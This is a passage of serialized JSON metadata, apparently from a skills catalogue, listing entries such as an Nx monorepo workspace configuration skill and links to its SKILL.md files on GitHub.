classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]